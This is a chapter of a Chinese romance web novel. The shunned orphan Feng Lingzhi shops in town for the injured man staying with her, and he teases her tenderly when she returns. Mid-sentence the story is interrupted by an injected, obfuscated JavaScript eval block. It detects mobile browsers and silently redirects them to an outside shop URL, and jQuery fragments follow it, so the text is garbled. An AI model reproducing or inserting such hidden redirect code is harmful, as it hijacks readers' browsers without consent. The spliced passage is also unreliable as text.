镇上离村子不远，冯灵芝低着头，贴着路边走。
路上遇到几个村里人，看见她，照例别过脸去，只当没看见。冯灵芝习惯了，也不在意。她甚至有点庆幸——这样就不用打招呼，不用解释自己为什么这么早往镇上走。
进了镇子，她先去了一趟银楼。
站在门口，她有点不敢进去。那门面比她家整个院子都大，柜台上摆着亮闪闪的银器，伙计穿着绸缎褂子，站在柜台后头看账本。
冯灵芝在门口站了好一会儿，才咬着牙走进去。
“姑娘，要买点什么？”伙计抬起头，上下打量她一眼。
冯灵芝低着头，从怀里摸出一小块金子，放在柜台上。
伙计愣了一下，又看了她一眼。这回打量得久了些，像是在看什么稀罕物。冯灵芝被他看得心慌，手攥着衣角，攥得指节发白。
“换碎银子。”她说，声音小得几乎听不见。
伙计没多问，拿起金子看了看，又拿戥子称了称，转身去后头拿银子。冯灵芝站在柜台前，眼睛盯着自己的鞋尖，不敢乱看。
伙计把碎银子递给她，又数了几十枚铜板。冯灵芝接过，揣进怀里，低着头快步走出去。
出了门，她才敢喘气。
下一站是肉铺。
屠户是个大胡子，手里提着砍刀，见她一个小姑娘过来，嗓门倒是放低了些：“姑娘要什么？”
“鸡……一只鸡。”冯灵芝说，“还有骨头。”
屠户看了看她，又问：“鸡要活的还是杀好的？”
冯灵芝愣了一下，张了张嘴，半天才挤出两个字：“杀……杀好的。”
她不敢杀鸡。奶奶还在的时候，都是奶奶杀的。后来奶奶走了，她就再没买过鸡。
屠户也没多问，挑了只肥鸡，手起刀落，放血拔毛，三下五除二收拾得干干净净。又拿油纸包好，递给她。
冯灵芝接过，放进背篓里，又付了骨头钱。
从肉铺出来，她在街边站了一会儿，想了想，往布店走去。
布店的老板娘是个四十来岁的妇人，圆脸，看着面善。冯灵芝走进去，在柜台前站了半天，不知道该怎么说。
“姑娘要买什么？”老板娘问。
冯灵芝低着头，小声说：“被……被窝。”
老板娘看了她一眼，没多问，转身去后头抱出一床新棉被，絮得厚厚的，白白的，看着就暖和。
冯灵芝伸手摸了摸，软得她都不敢使劲。
“还有没有……便宜些的？”她问。
老板娘又看了她一眼，没说什么，又抱出一床薄些的。冯灵芝摸了摸，还是软，比她身上盖的那件旧蓑衣软一百倍。
“就、就这个吧。”她说。
付了钱，她把棉被塞进背篓里。背篓一下子就满了大半。她又看了看柜台上摆着的布料，扯了几块，想着回头可以给家里的那人做两身换洗衣服。。
从布店出来，她往文房四宝店走。
走了几步，看见路边有个卖蜜饯的摊子。一个小贩坐在那儿，面前摆着几个小筐，里头装着黄澄澄的、红彤彤的蜜饯，在阳光底下亮晶晶的。
冯灵芝停下脚步，看着那些蜜饯，走不动了。
她想起柴郎中的话——他要是嫌苦，你别理他。
可万一……万一他真的嫌苦呢？
她咬了咬嘴唇，走过去，买了一包。
蜜饯用纸包着，小小的，捧在手心里，有点甜味儿飘出来。她闻了闻，没忍住，又想闻第二下。然后赶紧把纸包塞进背篓里，怕自己再闻下去会忍不住偷吃。
走过米店，她又进去买了两斗米。缸里的米不多了，那人要养伤，得多吃点。
从米店出来，背篓已经沉得她直不起腰了。她双手拽着背篓的带子，一步一步往前挪。
好不容易挪到文房四宝店，她进去买了纸和笔。出来的时候，看见对面有家陶器店，门口摆着大大小小的陶罐。
她想起柴郎中的药，得用罐子煎。
又走过去，挑了个不大不小的煎药罐子，塞进背篓里。背篓满得都快溢出来了，她往上颠了颠，压得肩膀生疼。
往回走的时候，她几乎是弓着腰在走。背篓太重了，重得她每走一步都要喘一口气。可她心里却莫名地踏实——鸡有了，骨头有了，米有了，药罐有了，蜜饯也有了。
还有一床新棉被，和几块做新衣裳的料子。
她想，这大概是她这辈子，买东西买得最痛快的一回。
……
走到家门口的时候，她累得差点趴下。
可刚推开院门，她就愣住了。
院子里，那人正拿着她的破扫把，在扫地上的血迹。
那扫把是奶奶留下来的，用了十几年，竹枝子秃得没剩几根，划拉一下，干净两道、还留着三道，跟狗啃过似的。
可那人也不着急，就站在那儿，气定神闲地一下一下划拉着。破扫把在他手里，不像是在扫地，倒像是在作画。
冯灵芝站在门口，看着看着，忽然有些想笑。
可又有点心疼那扫把。
回头再去镇上，得买个新扫把。她在心里默默记下。
那人听见动静，回过头来。看见是她，嘴角就扯起来了。
“回来了？”他说，把扫把往旁边一靠，朝她走过来。
走到她跟前，他伸手来接她的背篓。
冯灵芝想说“不用，我自己来”，可还没开口，背篓已经被他拎起来了。
那么重的一背篓东西，她背回来的时候压得腰都快断了，可他用一只手——还是没受伤的那只——轻轻松松就拎了起来，跟拎个空篮子似的。
冯灵芝愣了一下，抬头看他。
那人已经拎着背篓往里走了，步子跨得老大，边走还边兴奋地说：“让我看看你都买了什么好东西。”
冯灵芝跟在后面，小跑着才能跟上。
进了屋，那人把背篓往地上一放，蹲下来就开始翻。翻出那只油纸包的鸡，闻了闻；翻出骨头，看了看；翻出那床新棉被，他愣了一下，抬头看了她一眼，没说什么，又继续翻。
翻到那包蜜饯的时候，他顿住了。
“这是什么？”他把纸包举起来，明知故问。
冯灵芝低着头，不说话。
那人打开纸包，捏了一颗蜜饯放进嘴里。嚼了嚼，然后笑盈盈地看着她，眼睛亮亮的：
“你居然还买了蜜饯？”
冯灵芝低着头，耳朵根子发烫。
“对我这么好？”他又说，声音里带着笑。
冯灵芝的脸更烫了。她盯着自己的鞋尖，小声说：“柴郎中说……说你会怕苦。”
那人愣了一下。
然后他笑了，笑得跟之前不太一样，像是有什么东西化开了似的。
“他说了你就买，”他说，声音软软的，“这么听话啊？”
冯灵芝被他看得不知道该说什么。她蹲下来，从背篓里翻出那个陶罐，又去里屋拿了柴郎中留下的草药包，抱在怀里就往外走。
“我、我去煎药。”她说，逃似的跑出去了。
身后传来一声轻笑。
……
冯灵芝蹲在灶房门口，把陶罐刷干净。
灶房简陋，就一口锅、一个灶台、一堆柴火。她四处看了看，找了个角落，用几块石头垒了个小台子，把陶罐架上去。
柴郎中说的，药得煎两回，头煎和二煎掺一起，分两次喝。
她把草药倒进罐子里，添上水，正要生火——
“你昨晚就是睡在这的？”
身后传来声音。
冯灵芝回过头。那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391773|200314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人不知道什么时候又出来了，站在灶房门口，环视着这个四面漏风的小屋。目光从那口黑乎乎的破锅，扫到墙角那堆柴火，再扫到地上那件旧蓑衣——那是她昨晚盖的。
他的眉头皱起来了。
冯灵芝站起来，有点慌：“你、你怎么又出来了？外头凉，你不能——”
“你昨晚就是睡在这的？”他又问了一遍，声音跟刚才不太一样。
冯灵芝低下头，不知道该怎么回答。
“家里不大，”她小声说，攥着衣角，“就两间房。你伤得那么重，总不能……总不能让你睡在这里。”
那人没说话。
冯灵芝不敢抬头，可她感觉得到，他在看着她。
过了好一会儿，她听见他叹了口气。
然后他走过来，在她面前蹲下来。
冯灵芝吓了一跳，往后退了一步，可他已经蹲在她跟前了，跟她平视着。
他的眼睛很近。近得她能看见他眼里的自己——一个小小的、局促的影子。
“冯灵芝。”他叫她的名字。
她不敢动。
他看着她，认认真真地看着她，然后开口，声音低低的：
“你对谁都这么好吗？”
冯灵芝愣住了。
她张了张嘴，想说什么，可又不知道该怎么说。
对谁都这么好吗？
她不知道这个“谁”有多大。
她没见过父母。奶奶把她养大的，奶奶对她好，她便也对奶奶好。奶奶病了，她守在床边端水喂药；奶奶走了，她一个人守着这间破屋，哪儿也不去。
至于其他人……
同村的人都说她晦气，看见她就绕着走，怕沾上她倒霉。她没机会对他们好。
她想起村口那些婆子的话——“命硬”、“克亲”、“谁沾上谁倒霉”。
她低下头，默不作声。
她不知道该怎么告诉他。也不知道该不该告诉他。
鬼使神差的，她不想说。至少不是现在。
冯灵芝一张脸红得发烫，烫得快能滴血了。她分不清是因为他靠得太近，还是因为自己心里那点小小的隐瞒。
就在她不知所措时，头顶突然传来他的声音，柔柔的：
“张嘴。”
冯灵芝愣了一下，抬起头。
“啊？”她呆呆地发出一个音节。
刚一张嘴，一个软软的东西就滑进了她嘴里。酸酸的，甜甜的，一瞬间在舌尖化开，溢得满口都是。
蜜饯。
冯灵芝愣住了，嘴巴都忘了闭上。
那人还蹲在她面前，看着她这副呆样，嘴角的笑都快溢出来了。他伸出手，轻轻托着她的下巴，往上一抬，帮她把嘴合上。
“小心你的口水哦。”他说，声音里带着笑。
冯灵芝这才回过神来，连忙拿袖子去擦嘴角。
什么都没有。
她愣了一下，然后脸更红了——他又在逗她。
她抬起头，嗔怪地看了他一眼。
那人眉毛一挑：“哟，会瞪人了。”
冯灵芝被他看得不知该如何是好，赶紧又低下头去。
头顶传来一声轻笑。
然后她看见那双白玉似的靴子轻轻点地，转身往外走。走了两步，又停下来。
她抬起头，只看见他的背影。他站在门口，阳光从他身后照进来，在他身上镀了一层淡淡的金边。
然后她听见他的声音，懒洋洋的，却又不太一样，像是有什么东西藏在里头：
“对你自己也好点啊，冯灵芝。”
说完，他掀开帘子，出去了。
冯灵芝蹲在原地，愣了好一会儿。
嘴里那颗蜜饯还在。她轻轻咬了一下，更浓郁的酸甜味在嘴里化开，一点一点，流进心里。